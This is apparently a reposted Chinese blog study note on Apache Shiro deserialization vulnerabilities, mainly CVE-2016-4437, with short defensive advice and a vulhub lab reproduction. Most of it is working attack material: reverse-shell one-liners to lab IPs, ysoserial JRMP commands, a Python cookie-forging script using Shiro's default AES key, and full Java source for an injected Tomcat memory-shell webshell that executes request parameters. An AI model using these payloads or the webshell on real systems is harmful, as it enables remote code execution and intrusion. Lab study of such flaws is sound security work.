工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 shiro attack2.2
工具准备
1.java8 C:\Program Files\Java
2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6
3.shiro反序列化 图形化工具
shiro attack2.2 C:\Users\ali\Desktop\tools\shiro_attack_2.2
4.shiro反序列化 命令行工具
C:\Users\ali\Desktop\tools\shiro_tool.jar
一.Shiro-550 CVE-2016-4437
序列化:
在Java中,把Java对象转换为字节序列(JSON/xml)的过程叫序列化。反过来,把字节序列(json/xml)恢复为Java对象的过程就叫反序列化。
Shiro反序列化:
Apache Shiro框架提供了记住我的功能(RememberMe)省去用户短时间内再次登录输入账号密码的操作,用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:
检索RememberMe Cookie的值Base 64解码AES解密(加密密钥硬编码)进行反序列化操作(未过滤处理)
攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。
特征:
登录页面有记住我,cookie字段有RememberMe key,返回包set-cookie有RememberMe key。
直接发送源数据包,返回的数据包中不存在关键字,可以通过在发送数据包的Cookie中增加字段rememberMe=deleteMe,然后查看返回包中是否存在关键字
另外需要注意的是:只要rememberMe的AES加密密钥泄漏,无论shiro什么版本都会导致反序列化漏洞。
升级shiro版本后仍然存在反序列化漏洞,其原因是使用了开源框架,代码里配置了shiro密钥。关键代码可以在GitHub上通过api search接口搜索到,从而得到一个所谓的key包,即这些密钥的集合,用这些公开的密钥去轮流尝试,若用了开源的框架,而没有修改shiro的密钥,相当于shiro密钥已经泄露。
防御措施
升级Shiro到最新版本(高于1.2.4)
WAF拦截Cookie中长度过大的rememberMe值
代码审计,全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。
漏洞利用:
https://github.com/feihong-cs/ShiroExploit 这个已经
1.反弹shell
攻击者(Kali)执行以下操作(真实攻击场景需要在VPS上执行)
》》事先开启三个终端
》》nc在81端口上监听shell(终端 1)
》》开启转发,监听19999端口(终端 2)
bash -i >& /dev/tcp/192.168.159.128/81 0>&1 (执行的命令)bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i} (对执行的命令进行Base64编码)java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19999 CommonsCollections6 " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i}"(ysoserial在19999端口监听,绿色的是编码后的执行命令)
》》生成payload(终端 3)
java -jar ysoserial.jar JRMPClient "192.168.159.128:19999" > /tmp/jrmp.ser
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser
》》将构造的序列化编码cookie通过登录包发送到服务端(这里必须登录成功状态下)
(成功收到shell)
2.反弹shell
工具:
https://github.com/insightglacier/Shiro_exploit
使用示例:
python shiro_exploit.py -u Http://192.168.172.129:8080
1、制作反弹shell代码
监听本地端口
nc -lvp 1234
用base64编码
生成编码:
bash -i >& /dev/tcp/192.168.172.133/1234 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
3、使用shiro.py 生成Payload
Python shiro.py 192.168.172.133:6666
shiro.py代码如下:
import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".fORMat(payload.decode())
4、构造数据包,伪造cookie,发送Payload。
nc监听端口,shell成功反弹:
java监听接口,查看服务器连接情况:
3.写入文件
1、生成poc.ser文件
sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
2、使用Shiro内置的默认密钥对Payload进行加密:
java调试:
3、发送rememberMe Cookie,即可成功执行命令。
在目标服务器/tmp目录下,生成success文件。
其他shiro漏洞
二、Shiro Padding oracle Attack(Shiro-721 CVE-2019-12422)
2.1 漏洞简介
Shiro实用AES-CBC模式进行加解密,存在Padding Oracle Attack漏洞,已登录的攻击者同样可进行反序列化操作。
2.2 影响版本
Apache Shiro < 1.4.2
2.2 漏洞利用
可视化工具利用。
利用技巧:如果攻击没有生效,尝试删除Cookie中的Jsessionid字段,防止服务端不去处理cookie
三、Shiro权限绕过漏洞(Shiro-682 CVE-2020-1957)
3.1 漏洞介绍
由于Shiro的拦截器和spring(Servlet)拦截器对于URI模式匹配的差异,导致鉴权问题。
3.2 影响版本
Apache Shiro < 1.5.2
3.3 漏洞利用
可视化工具利用。
四、官方CVE动态
Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721
待学习
五、参考文章
https://blog.csdn.net/weixin_43695820/article/details/123823848
5.1 shiro反序列化的注意事项
由于shiro反序列化需要用到AES加密,而该加密方法的密钥是加解密一致的,所以我们使用shiro反序列化时,AES加密的密钥必须跟服务器一致,所以经常需要盲猜服务器的密钥,好在java开发们一般都不会去修改它,而且常常直接copy论坛和github上的代码,所以可以大量收集各种密钥,然后遍历来完成反序列化漏洞利用。
好在也有很多可以直接上手用的扫描或利用工具,例如xray、https://github.com/feihong-cs/ShiroExploit-Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack
5.2 shiro反序列化利用--注入内存马
由于shiro作用于中间件的filter环节,所以servlet内存马在访问阶段就被shiro干掉了,不能用。因此必须写入filter内存马,并将其放在shiro的filter前面,以便访问和利用;另外,也可以写入listener内存马,不需要操心filter顺序问题,但可能会影响服务器性能。
这里以listener内存马实验一下,首先是listener内存马部分,编译的话,需要添加Tomcat/lib目录下的jar包
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardEngine;import org.apache.catalina.core.StandardHost;import javax.servlet.*;import java.io.IOException;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Iterator; public class Add extends AbstractTranslet implements ServletRequestListener { String uri; String serverName; StandardContext standardContext; String pwd = "cmdshell"; // 内存马的密码 public Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (NoSuchFieldException e){} catch (IllegalAccessException e){} clazz = clazz.getSuperclass(); } return null; } public Add(String aaa){} public Add() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); Object object; for (Thread thread : threads) { if (thread == null) { continue; } if (thread.getName().contains("exec")) { continue; } Object target = this.getField(thread, "target"); if (!(target instanceof Runnable)) { continue; } try { object = getField(getField(getField(target, "this$0"), "handler"), "global"); } catch (Exception e) { continue; } if (object == null) { continue; } java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors"); Iterator iterator = processors.iterator(); while (iterator.hasNext()) { Object next = iterator.next(); Object req = getField(next, "req"); Object serverPort = getField(req, "serverPort"); if (serverPort.equals(-1)){continue;} org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB"); this.serverName = (String) getField(serverNameMB, "strValue"); if (this.serverName == null){ this.serverName = serverNameMB.toString(); } if (this.serverName == null){ this.serverName = serverNameMB.getString(); } org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB"); this.uri = (String) getField(uriMB, "strValue"); if (this.uri == null){ this.uri = uriMB.toString(); } if (this.uri == null){ this.uri = uriMB.getString(); } this.getStandardContext(); } } if (this.standardContext != null){ try { Add addListener = new Add("aaa"); standardContext.addApplicationEventListener(addListener); }catch (Exception e){e.printStackTrace();} } } public void getStandardContext() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { if (thread == null) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = this.getField(thread, "target"); HashMap children; Object jioEndPoint = null; try { jioEndPoint = getField(target, "this$0"); }catch (Exception e){} if (jioEndPoint == null){ try{ jioEndPoint = getField(target, "endpoint"); }catch (Exception e){ return; } } Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service"); StandardEngine engine = null; try { engine = (StandardEngine) getField(service, "container"); }catch (Exception e){} if (engine == null){ engine = (StandardEngine) getField(service, "engine"); } children = (HashMap) getField(engine, "children"); StandardHost standardHost; standardHost = (StandardHost) children.get(this.serverName); if(standardHost == null){ Iterator iterator = children.values().iterator(); while (iterator.hasNext()){ standardHost = (StandardHost) iterator.next(); if (standardHost.getName().equals(this.serverName)){break; } if (standardHost.getName().equals("localhost")) {break; } } } try{ children = (HashMap) getField(standardHost, "children"); Iterator iterator = children.keySet().iterator(); while (iterator.hasNext()){ String contexTKEy = (String) iterator.next(); if (!(this.uri.startsWith(contextKey))){continue;} StandardContext standardContext = (StandardContext) children.get(contextKey); this.standardContext = standardContext; } }catch (Exception e){ e.printStackTrace(); } } } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public void Add(String aaa){} @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { String cmdshell = sre.getServletRequest().getParameter(this.pwd); if (cmdshell != null) { try { Runtime.getRuntime().exec(cmdshell); } catch (IOException e) { e.printStackTrace(); } } }}
然后是构造shiro反序列化利用payload的部分
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javassist.CtNewConstructor;import net.dongliu.commons.Sys;import org.apache.commons.beanutils.BeanComparator;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource; import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;import java.util.Collections; public class CommonsBeanutilsshiro { // 反射修改field,统一写成函数,方便阅读代码 public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } // 获取攻击链序列化后的byte数组 public static byte[] getPayload() throws Exception { // 创建恶意类,用于报错抛出调用链 ClassPool pool = new ClassPool(true); pool.appendClassPath("C:\\Users\\helloworld\\Desktop\\java learn\\spring_mvc\\spring_mvc\\spring_mvc\\target\\classes\\"); // 前面Add类编译出来的Add.class的路径 CtClass payload = pool.get("Add"); byte[] evilClass = payload.toBytecode(); // set field TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{evilClass}); setFieldValue(templates, "_name", "test"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); // 创建序列化对象// BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder()); PriorityQueue
执行CommonsBeanutilsShiro#main方法,获得payload,用burp发包,这里都比较简单就不截图了,来看看效果:
在/shirodemo/这个uri下,输入任意路径,加参数cmdshell,即可执行命令,由于shiro的作用,执行后又会自动跳到登录页面
六、漏洞复现
打开vulhub Docker
6.1漏洞介绍:
shiro/CVE-2016-4437/README.md
# Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。## 漏洞环境执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:```docker-compose up -d```服务启动后,访问`http://your-ip:8080`可使用`admin:vulhub`进行登录。## 漏洞复现使用ysoserial生成CommonsBeanutils1的Gadget:```java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser```使用Shiro内置的默认密钥对Payload进行加密:```javapackage org.vulhub.shirodemo;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.util.ByteSource;import org.apache.shiro.codec.Base64;import org.apache.shiro.io.DefaultSerializer;import java.NIO.file.FileSystems;import java.nio.file.Files;import java.nio.file.Paths;public class TestRemember { public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser")); AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}```发送rememberMe Cookie,即可成功执行`touch /tmp/success`:如下图:
6.2实际操作:
拉下来
使用` admin : vulhub `进行登录。
可以直接看到,有这个remember me
这里会发送cookie
下载
ysoserial-master-30099844c6-1.jar
https://github.com/daniel-e/data/blob/master/ysoserial-master-30099844c6-1.jar
在这里下载的
放到 E:\000CTF工具\shiro工具汇总\ysoserial-master-30099844c6-1.jar
直接运行:java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
去虚拟机里面
成功生成poc.cer
下一步,正常应该是用shiro的加密方式把我们的poc.cer加密,但是idea出了些问题,搁置。看了下代码,就是把key给base64解密一下,然后对payloads做了AES加密。
package org.vulhub.shirodemo;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.util.ByteSource;import org.apache.shiro.codec.Base64;import org.apache.shiro.io.DefaultSerializer;import java.nio.file.FileSystems;import java.nio.file.Files;import java.nio.file.Paths;public class TestRemember { public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser")); AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}
另外可以注意到line18,这个密钥直接设定成了 kPH+bIxk5D2deZiIxcaaaA==
实际上不止这个密钥,可参考工具提供的字典:win10:C:\Users\ali\Desktop\tools\shiro_attack_2.2\data\shiro_keys.txt
目前是搜集了128个。
win10连不上kali,桥接改NAT,ip:192.168.244.88
用shiro图形化工具:
不知道为何不爆破
http://192.168.244.138:8080/login
重启了工具就好了:
对这个命令执行:
touch 1.txt 或者cat /etc/passwd 可以执行
但是执行 cd /bin 然后再pwd 依然在根目录下。
我的问题
最后:
来源地址:https://blog.csdn.net/qq_49849300/article/details/129436231
--结束END--
本文标题: shiro反序列化漏洞学习(工具+原理+复现)
本文链接: https://www.lsjlt.com/news/387259.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
下载Word文档到电脑,方便收藏和打印~
2024-04-01
2024-04-03
2024-04-03
2024-01-21
2024-01-21
2024-01-21
2024-01-21
2023-12-23
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0